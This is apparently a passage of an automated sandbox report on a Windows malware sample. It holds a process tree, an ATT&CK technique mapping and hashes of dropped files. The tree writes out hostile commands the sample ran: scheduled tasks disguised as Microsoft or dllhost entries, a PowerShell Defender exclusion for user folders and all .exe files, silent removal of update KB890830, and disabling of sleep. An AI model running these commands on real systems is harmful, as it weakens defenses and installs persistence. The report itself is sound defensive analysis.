                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6788
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "Microsoft_RM" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\Documents\Microsoft_R.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:5208
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Program Files\Common Files\microsoft shared\Triedit\dllhost.exe'" /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:2432
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Common Files\microsoft shared\Triedit\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:2724
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 14 /tr "'C:\Program Files\Common Files\microsoft shared\Triedit\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:1920
                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\nalfdgwigwyg\lhhsgwktkatl.exe
                                                                                                                                                                                                                                                                                                                                            C:\ProgramData\nalfdgwigwyg\lhhsgwktkatl.exe
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                            PID:1748
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                              PID:4320
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:2016
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wusa.exe
                                                                                                                                                                                                                                                                                                                                                  wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                    PID:4504
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                    PID:4268
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:2404
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:4424
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:1900
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                            PID:2860
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:4756
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\dialer.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\dialer.exe
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                              PID:4000
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\dialer.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\dialer.exe
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:3092
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\dialer.exe
                                                                                                                                                                                                                                                                                                                                                                dialer.exe
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                PID:4784
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5684
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                PID:6544
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\sihclient.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\sihclient.exe /cv fk/+Xas9Bky4Mx4mj7mx0w.0.2
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:6888
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5432
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:3300
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\wbem\wmiprvse.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4756
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\WaaSMedicAgent.exe 1bab1a9a26ca132562d847d43cc34366 fk/+Xas9Bky4Mx4mj7mx0w.0.1.0.0.0
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                        • Sets service image path in registry
                                                                                                                                                                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                        PID:5876
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:5264
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                          PID:2444
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:6872
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                                                                                                                                                                                                                                                                            "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:1720
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                                                                                                                                                                                                                                                                              "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:5632
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                                                                                                                                                                                                                                                                                "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:5680
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                                                  PID:2076
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                  PID:4876
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:4772
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:4704
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:7152
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                                                                                                                                                                                                                                                                                        "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:6408

                                                                                                                                                                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                                                                                                                                                                        MITRE ATT&CK Matrix ATT&CK v13

                                                                                                                                                                                                                                                                                                                                                                                        Initial Access

                                                                                                                                                                                                                                                                                                                                                                                        Execution

                                                                                                                                                                                                                                                                                                                                                                                        Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1059

                                                                                                                                                                                                                                                                                                                                                                                        PowerShell

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1059.001

                                                                                                                                                                                                                                                                                                                                                                                        System Services

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1569

                                                                                                                                                                                                                                                                                                                                                                                        Service Execution

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1569.002

                                                                                                                                                                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                                                                                                                                                                        Persistence

                                                                                                                                                                                                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1543

                                                                                                                                                                                                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                                                                                                                                                                        Pre-OS Boot

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1542

                                                                                                                                                                                                                                                                                                                                                                                        Bootkit

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1542.003

                                                                                                                                                                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                                                                                                                                                                        Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1543

                                                                                                                                                                                                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                                                                                                                                                                        Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                        Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1112

                                                                                                                                                                                                                                                                                                                                                                                        Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1562

                                                                                                                                                                                                                                                                                                                                                                                        Pre-OS Boot

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1542

                                                                                                                                                                                                                                                                                                                                                                                        Bootkit

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1542.003

                                                                                                                                                                                                                                                                                                                                                                                        Credential Access

                                                                                                                                                                                                                                                                                                                                                                                        Unsecured Credentials

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1552

                                                                                                                                                                                                                                                                                                                                                                                        Credentials In Files

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1552.001

                                                                                                                                                                                                                                                                                                                                                                                        Discovery

                                                                                                                                                                                                                                                                                                                                                                                        Query Registry

                                                                                                                                                                                                                                                                                                                                                                                        7
                                                                                                                                                                                                                                                                                                                                                                                        T1012

                                                                                                                                                                                                                                                                                                                                                                                        System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                        9
                                                                                                                                                                                                                                                                                                                                                                                        T1082

                                                                                                                                                                                                                                                                                                                                                                                        Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1120

                                                                                                                                                                                                                                                                                                                                                                                        Process Discovery

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1057

                                                                                                                                                                                                                                                                                                                                                                                        Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                        Collection

                                                                                                                                                                                                                                                                                                                                                                                        Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                        T1005

                                                                                                                                                                                                                                                                                                                                                                                        Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                        Command and Control

                                                                                                                                                                                                                                                                                                                                                                                        Web Service

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1102

                                                                                                                                                                                                                                                                                                                                                                                        Impact

                                                                                                                                                                                                                                                                                                                                                                                        Service Stop

                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                        T1489

                                                                                                                                                                                                                                                                                                                                                                                        Resource Development

                                                                                                                                                                                                                                                                                                                                                                                        Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\USOPrivate\UpdateStore\store.db
                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                          60KB

                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                          485262105c13e60419d5a7a040b0012a

                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                          426bb96598e52250f2fc8c1bbef3bddfc8362c71

                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                          72c0bcbacb06651a1f798ba71d21946c1955865be5b4fca7e7413c2dd6e8e7fd

                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                          4750ad9928301bf3223dba6220b77f0c39af86c57db2946538ebb186ccba082b61ea1f423b7e5bf9f6ff6431df329f01f4e9113e0a24238156a05d6c2159108c

                                                                                                                                                                                                                                                                                                                                                                                          Download Submit
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\tasklist.exe.log
                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                          1KB

                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                          baf55b95da4a601229647f25dad12878

                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                          abc16954ebfd213733c4493fc1910164d825cac8

                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                          ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924

                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                          24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

                                                                                                                                                                                                                                                                                                                                                                                          Download Submit
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\WebCache\V01.chk
                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                          4797c6d08d459ddc7cb36fdb0c8b8250

                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                          e2c9f1a8a2c828032a2852d75529723db86b70a7

                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                          ae9f7b8b354320934369d8b892f4047da12e3052fe7ef0440f13b0e34b819b84

                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                          76b39ce119bcbcdee96a6fc4f4f029293bb6d27d1ebfdab10e7a2133733e3febe07ac4e3f11e170c911a1a72391e4e308a88dec529bfeb768aee364bd4e3c019

                                                                                                                                                                                                                                                                                                                                                                                          Download Submit
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\3nbSpuPGZ3.tmp
                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                          20KB

                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                          42c395b8db48b6ce3d34c301d1eba9d5

                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                          b7cfa3de344814bec105391663c0df4a74310996

                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                          5644546ecefc6786c7be5b1a89e935e640963ccd34b130f21baab9370cb9055d

                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                          7b9214db96e9bec8745b4161a41c4c0520cdda9950f0cd3f12c7744227a25d639d07c0dd68b552cf1e032181c2e4f8297747f27bad6c7447b0f415a86bd82845

                                                                                                                                                                                                                                                                                                                                                                                          Download Submit
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\D1eWsYWS1P.tmp
                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                          46KB

                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                          8f5942354d3809f865f9767eddf51314

                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                          20be11c0d42fc0cef53931ea9152b55082d1a11e

                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                          776ecf8411b1b0167bea724409ac9d3f8479973df223ecc6e60e3302b3b2b8ea

                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                          fde8dfae8a862cf106b0cb55e02d73e4e4c0527c744c20886681245c8160287f722612a6de9d0046ed1156b1771229c8950b9ac036b39c988d75aa20b7bac218

                                                                                                                                                                                                                                                                                                                                                                                          Download Submit
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\DhQ0eklX3A.tmp
                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                          124KB

                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                          9618e15b04a4ddb39ed6c496575f6f95

                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                          1c28f8750e5555776b3c80b187c5d15a443a7412

                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                          a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab

                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                          f802582aa7510f6b950e3343b0560ffa9037c6d22373a6a33513637ab0f8e60ed23294a13ad8890935b02c64830b5232ba9f60d0c0fe90df02b5da30ecd7fa26

                                                                                                                                                                                                                                                                                                                                                                                          Download Submit
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\FPu8MzSOOY.tmp
                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                          20KB

                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                          49693267e0adbcd119f9f5e02adf3a80

                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                          3ba3d7f89b8ad195ca82c92737e960e1f2b349df

                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                          d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                          b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

                                                                                                                                                                                                                                                                                                                                                                                          Download Submit
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\I5SDNBpYBR.tmp
                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                          152KB

                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                          73bd1e15afb04648c24593e8ba13e983

                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                          4dd85ca46fcdf9d93f6b324f8bb0b5bb512a1b91

                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                          aab0b201f392fef9fdff09e56a9d0ac33d0f68be95da270e6dab89bb1f971d8b

                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                          6eb58fb41691894045569085bd64a83acd62277575ab002cf73d729bda4b6d43c36643a5fa336342e87a493326337ed43b8e5eaeae32f53210714699cb8dfac7

                                                                                                                                                                                                                                                                                                                                                                                          Download Submit
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe
                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                          6.8MB

                                                                                                                                                                                                                                                                                                                                                                                          MD5

                                                                                                                                                                                                                                                                                                                                                                                          ecc5e0c0d7ac645ca04f33211314c8d9

                                                                                                                                                                                                                                                                                                                                                                                          SHA1

                                                                                                                                                                                                                                                                                                                                                                                          aa37e9cfcba00fc97a92d042400a12c52334a81a

                                                                                                                                                                                                                                                                                                                                                                                          SHA256

                                                                                                                                                                                                                                                                                                                                                                                          0eeec0b8f84eccffe9d5e53fdc713d5e22d4c2f54e02d3f9688057411c5e3d32

                                                                                                                                                                                                                                                                                                                                                                                          SHA512

                                                                                                                                                                                                                                                                                                                                                                                          bae0aecd052137932c9f87dd80e3633571fee9db1a769b25c54fe76717018bdd01facb0cae0de128d2db23c4901f19719425f21b17494ab8c5f4036b6ff2e3ef

                                                                                                                                                                                                                                                                                                                                                                                          Download Submit
